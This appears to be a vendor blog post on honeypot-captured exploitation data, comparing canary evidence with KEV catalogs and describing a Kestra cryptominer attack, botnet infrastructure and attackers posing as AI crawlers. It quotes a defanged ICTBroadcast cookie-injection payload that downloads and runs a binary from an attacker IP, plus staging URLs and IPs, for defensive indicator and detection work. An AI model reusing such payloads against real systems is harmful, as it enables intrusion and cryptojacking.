What a Canary Sees That a KEV Entry Can't

Key Takeaways

• VulnCheck KEV and CISA KEV are both free, and both tell you that a vulnerability is exploited. Canary Intelligence shows you who exploited it, what payload they used, and which infrastructure they connected to.
• On one of our canaries, an exposed Kestra workflow server went from first request to a running cryptominer in 2.87 seconds.
• VulnCheck canaries have observed exploitation of 558 known exploited vulnerabilities. 342 of them (61%) are not in CISA KEV.
• 78% of the IPs that attacked our canaries stopped showing up within 24 hours of their first hit. Canary captures 100+ new C2 indicators in a typical week while they're still live. Indicators that arrive a week late are mostly dead.
• Attackers have started posing as AI crawlers. 78,061 exploit attempts claimed to be GPTBot, ClaudeBot, PerplexityBot, and others, almost all of them since August.

Every security team has seen this alert: CVE-XXXX-XXXXX added to KEV. You open a ticket, find the owner, and schedule the patch.

That workflow handles the vulnerability. It doesn't tell you whether someone already got in, what they did there, or which IP addresses to search for in your logs.

Answering those questions takes evidence from the attack itself. That's what canaries collect. This post draws on all of it: 1,888,665 exploitation events captured by VulnCheck canaries between October 1, 2025 and October 26, 2026, joined with VulnCheck KEV, CISA KEV, and NVD.

A Real Attack, Second by Second

A VulnCheck canary is a real, intentionally vulnerable instance of the software attackers are hunting for. It isn't an emulator or a fake banner. When an attacker exploits it, the exploit really works, and we capture what happens.

Here is one attack on a Kestra workflow server canary, as the Linux kernel recorded it.

The full chain:

The attack took less than three seconds, and the cleanup took under two more. The stage-two script came from hxxp://3.110.223[.]202:9001/new.sh, and the miner reported to a pool at 103.7.55[.]233:20004.

Why a Hash Wouldn't Catch This

The miner in this attack is the stock upstream xmrig build, pulled straight from GitHub. A hash-based detection would see a legitimate open source binary and let it run.

The behavior is what gives it away:

• A workflow server spawns a shell. A Java application piping a download into bash is a red flag on its own.
• An executable shows up in a package manager path. Something wrote a binary into /etc/apt/ without going through apt or dpkg.
• An application container tunes the kernel. A workflow server has no reason to set hugepages or load msr.
• A brand-new process connects to a mining port. The miner reached its pool within 0.1 seconds of starting.
• The attacker cleans up. Checking for its own process name and then deleting staging files is classic tradecraft.

A detection engineer can only write rules like these after seeing the attack. Canaries let you see it.

Note: This host-level timeline comes from VulnCheck's canary research telemetry. The Canary Intelligence feed delivers the exploitation event, payload, source IP, and extracted infrastructure described below.

KEV Tells You What. Canaries Tell You Who and How.

VulnCheck KEV is free, and canary detections feed directly into it. That's intentional. Every security team should know which vulnerabilities are being exploited.

A KEV entry is a flag, though. A canary record is evidence.

Here is what that looks like in practice. This is a real Canary Intelligence record for CVE-2025-2611 in ICTBroadcast, trimmed and defanged:

timestamp:   2025-11-01T10:30:03Z
cve:         CVE-2025-2611
signature:   VULNCHECK ICTBroadcast CVE-2025-2611 Exploit Attempt
src_ip:      159.65.227[.]190   (AS14061 DigitalOcean, US)
request:     GET /login.php

decoded payload (session cookie):
  Cookie: BROADCAST=`echo${IFS}Y3VybCAtc28gLi9KdGNO...|base64${IFS}-d|sh`

  -> curl -so ./JtcNxenygVt hxxp://159.65.227[.]190:8085/kW1iAgcQfIO8JeqRA9EBBA;
     chmod +x ./JtcNxenygVt; ./JtcNxenygVt &

The exploit hides a base64-encoded shell command inside the BROADCAST session cookie. Decoded, it downloads a randomly named binary from the attacker's own server on port 8085, marks it executable, and runs it in the background. That one record gives your team three things to act on:

1. An attacker IP to block and to search for in your firewall logs.
2. A staging address and port (159.65.227[.]190:8085) to search for in your outbound traffic. Any internal host that connected to it needs investigating.
3. A payload pattern (backticks, ${IFS}, and base64 -d|sh inside a session cookie) to write a WAF or IDS rule against.

The KEV entry for the same CVE gives you a patch ticket.

Coverage You Won't Find in CISA KEV

Our canaries have observed exploitation of 558 vulnerabilities in VulnCheck KEV. CISA KEV includes 216 of them. In the first half of 2026 alone, canaries observed 205 KEVs for the first time, and 55 of those are in CISA KEV today.

That gap isn't a knock on CISA. CISA KEV is scoped for federal remediation and requires clear remediation guidance before a vulnerability is added. It does mean "not in CISA KEV" can't be read as "not exploited."

For 89 of these vulnerabilities, a VulnCheck canary was the first public evidence of exploitation anywhere, ahead of vendor advisories, researchers, honeypot feeds, and government catalogs. 59 of them still have no other public source. Where others confirmed exploitation later, canaries saw it first by a median of 12 days.

The Patch Window Is Gone

For years, vulnerability management assumed defenders had time between disclosure and exploitation. That gap has closed.

A negative time to exploit means attackers, on average, were exploiting vulnerabilities a week before a patch existed. Exploitation is now the most common way breaches start, ahead of phishing and stolen credentials.

When exploitation comes before the patch, the KEV entry arrives after some organizations are already compromised. At that point the hunt matters as much as the patch.

Regulators have caught up to this. CISA's Binding Operational Directive 26-04 (June 10, 2026) replaced flat CVSS deadlines with a risk-based model. For the highest-risk tier, a vulnerability that is in KEV and gives an attacker total control of the system, agencies must remediate within 3 days and perform forensic triage to determine whether the system was compromised before the patch.

A patch closes the vulnerability. It does nothing to show whether someone used it first.

Forensic triage needs indicators to search for: attacker IPs, payload patterns, C2 domains, and staging servers. In the last 90 days alone, our canaries recorded 17,533 attacking IPs across 517 exploited CVEs. Since Canary began extracting C2 locations from exploit payloads in July, it has captured 100+ new C2 indicators in 12 of 13 full weeks. Canary Intelligence keeps that history searchable in 3, 10, 30, and 90-day windows, plus the full archive, so you can search your own logs back to the date exploitation began.

Indicators Go Stale Fast

Attacker infrastructure is cheap and disposable. Industry research has shown this for years. A 2022 study found 90% of IoT botnet C2 servers lived less than five days, and Censys measured a median lifespan of five days for Cobalt Strike team servers.

Our canaries show the same thing, measured first-hand.

• 78% of attacking IPs stopped showing up within 24 hours of their first hit. 67% did all their work in a single burst of under 15 minutes.
• 85% were gone within a week.
• 76% of the staging and download servers named inside payloads stopped appearing within a day.

That's why first-party collection matters. When an attack hits our canary, the infrastructure is live, so the indicator is fresh when it reaches you. An indicator that shows up in a public report three weeks later still helps with retro-hunting, but it won't block anything.

What 1,888,665 Attacks Look Like

Across the 390 days behind this post, our canaries recorded 1,888,665 exploitation events against 558 CVEs, from 40,457 IPs in 3,176 networks across 175 countries. Five patterns stood out.

Most of it isn't scanning. 78% of events carried a payload that tried to do something after the exploit landed, such as dropping a botnet, starting a miner, opening a shell, or stealing secrets. Version checks and empty probes were the minority.

Old vulnerabilities never die. 54% of exploitation traffic targeted CVEs more than two years old, and 41% targeted CVEs more than five years old. A KEV entry from 2021 is still live attack traffic today.

The traffic is concentrated. Ten networks sent 42% of all exploitation events. That's a blocking and alerting decision a SOC can make today, if it knows which ten.

One operator, many CVEs. KEV is organized by CVE, and attackers aren't. The RondoDox botnet tags its exploit requests with a User-Agent that includes a contact mailbox (bang2012@atomicmail[.]io and variants). Requests carrying that tag hit our canaries 16,829 times through 41 different CVEs from only 14 source IPs. One RondoDox staging server, 74.194.191[.]52, was reached through 33 CVEs in 37 days, covering routers, DVRs, IP phones, and enterprise software such as GitLab and VMware. In a KEV-only view, those are dozens of unrelated patch tickets with different owners. In canary data, it's one IP address that would have flagged every one of them in your egress logs.

Rotation doesn't hide the playbook. In late August 2026, a Mirai-style loader served wget.sh from 118.145.196[.]225:800 through 33 CVEs for 14 days. Two days after it went quiet, the same script name, port, and per-exploit tagging appeared on 120.193.219[.]210:800, and all 31 CVEs used to deliver from the new server had already been used with the old one. A blocklist built from the first server missed the second. A detection built on the behavior caught both.

Attackers also went after cloud credentials. 7,947 exploitation events across 37 CVEs used code execution to query a cloud instance-metadata endpoint such as 169.254.169[.]254 or metadata.google.internal, which is where temporary cloud credentials live. An exploited web app in the cloud is an IAM problem as well as a server problem.

Attackers in AI-Bot Disguise

Many sites now let AI crawlers through their bot filters. Attackers noticed.

Our canaries logged 78,061 exploitation attempts whose User-Agent claimed to be an AI crawler or agent, including GPTBot, ChatGPT-User, PerplexityBot, ClaudeBot, Amazonbot, and Bytespider. They came from 1,968 IPs and targeted 49 CVEs. The disguise barely existed before summer: 558 attempts in July, then 18,605 in August and 29,108 in September. October passed September's total in its first 26 days, with 29,755.

84% of these requests were hunting for secrets, such as .env files, config backups, and framework debug logs. Real AI crawlers don't send exploits, so any request that does is lying about who it is. If your WAF or bot management trusts a User-Agent string, it's trusting the attacker. Verify crawlers against their published IP ranges instead.

What Canary Data Has Already Uncovered

Each of these investigations started with a canary hit.

• Kinsing across three CVEs. Canary data tied exploitation of CVE-2023-46604, CVE-2023-38646, and CVE-2025-55182 to a single staging host at 78.153.140[.]16. Three KEV entries would have looked like three unrelated patch tickets.
• Mapping the MeowProject fleet. Starting from 27 attacker IPs on one network, researchers built three infrastructure fingerprints. Using VulnCheck Target Intelligence, those fingerprints narrowed millions of internet hosts down to 21, including two attacker machines that had never touched a canary.
• Two attackers, one Langflow CVE. One attacker stole credentials and called back to an IRC server. The other installed a miner and disabled auditd. Same CVE, very different incident response.
• Extending a government advisory. Three IPs from a multinational advisory on infrastructure linked to Integrity Technology Group were still exploiting canaries in May 2026, using different CVEs than the advisory described. A shared RedTail dropper linked them to 177 more hosts and a new C2 server at 155.138.212[.]170.

Translating Evidence to Dollars

IBM's 2026 Cost of a Data Breach Report puts the global average breach at $4.99 million across a 247-day lifecycle. That works out to about $20,202 per day of exposure. Mandiant reports a global median dwell time of 14 days.

The model is simple on purpose. The savings only come from acting on the evidence, by hunting with it before a compromise surfaces on its own.

Who Uses Canary Data, and How

Methodology Notes

Dataset: The full VulnCheck Canary Intelligence backup, covering October 1, 2025 to October 26, 2026. Events were de-duplicated on timestamp, source IP, source port, and signature.

Canary design: VulnCheck canaries are real instances of vulnerable software. Exploitation is confirmed with VulnCheck's Suricata and YARA rules from Initial Access Intelligence, and compromised canaries are automatically reset.

Payload analysis: Each payload was base64-decoded, URL-decoded, and scanned for nested base64. Staging and download hosts were extracted from download commands, /dev/tcp redirects, nc, and tftp. We excluded request headers that echo the canary's own hostname, proxy-style request targets, XML namespaces, out-of-band scanner domains, public DNS resolvers, and legitimate hosting such as GitHub. This payload-level view is broader than the feed's C2 field and includes botnet peers that serve malware to the next victim. Payload intent was assigned with keyword rules and is a conservative estimate.

KEV figures: From the VulnCheck KEV feed as of October 26, 2026. "Canary-observed" means reported_exploited_by_vulncheck_canaries is true. "First public evidence" compares the earliest canary reference against the earliest of every other exploitation reference VulnCheck tracks for that CVE.

C2 indicators: Counted from the feed's c2_location field, available since July 19, 2026. We kept publicly routable IPs and hostnames on real top-level domains, and removed crawler links, OAST services, and JavaScript identifiers that some exploit responses echo back. Each indicator counts once, in the week it was first seen.

Indicator lifespan: The time between the first and last appearance of an IP or staging host on our canaries. Indicators first seen in the final 30 days of the window were excluded so new infrastructure isn't counted as short-lived.

AI crawler User-Agents: Requests were matched on the crawler names published by AI vendors. The match is on the claimed identity only.

Kestra timeline: Derived from Linux audit (auditd) records on a single VulnCheck canary on October 14, 2026, normalized to OCSF. Times are measured from the first inbound connection. Canary identifiers and hosting details have been removed.

Considerations

1. Canaries cover the software we deploy. We build canaries for high-value targets, but no network covers every product.
2. Canaries see exploitation once they're deployed. For vulnerabilities disclosed before a canary existed, other sources often saw exploitation first. That's why we only count "first public evidence" where a canary's evidence came before every other source.
3. A canary hit is evidence of attacker activity, not proof you were compromised. That proof comes from searching your own telemetry with canary indicators.
4. The daily exposure cost is a model. It uses IBM's global averages, and actual costs vary by industry, region, and incident.
5. Commodity attacks are overrepresented. Miners and botnets make up much of what any internet-facing sensor sees. Targeted actors show up too, as the Integrity Technology Group findings show, but less often.

The Bottom Line

KEV tells you a door is open. Canaries show you who walked through it, what they carried in, and where they called home.

The attacker in this example needed 2.87 seconds. Your team needs the evidence to search for them, and Canary Intelligence provides it.

Learn More

VulnCheck KEV is free for every security team. To go further with attacker payloads, live infrastructure, and searchable exploitation history, request a Canary Intelligence demo.

Sources

1. Mandiant / Google Threat Intelligence. (2026). M-Trends 2026.
2. Verizon. (2026). Data Breach Investigations Report.
3. IBM Security & Ponemon Institute. (2026). Cost of a Data Breach Report 2026.
4. CISA. (2026). BOD 26-04: Prioritizing Security Updates Based on Risk.
5. Censys. (2025). 2025 State of the Internet: C2 Time to Live.
6. Netresec. (2025). Optimizing IOC Retention Time.
7. VulnCheck. (2025). Introducing VulnCheck Canary Intelligence.
8. VulnCheck. (2026). State of Exploitation 1H-2026.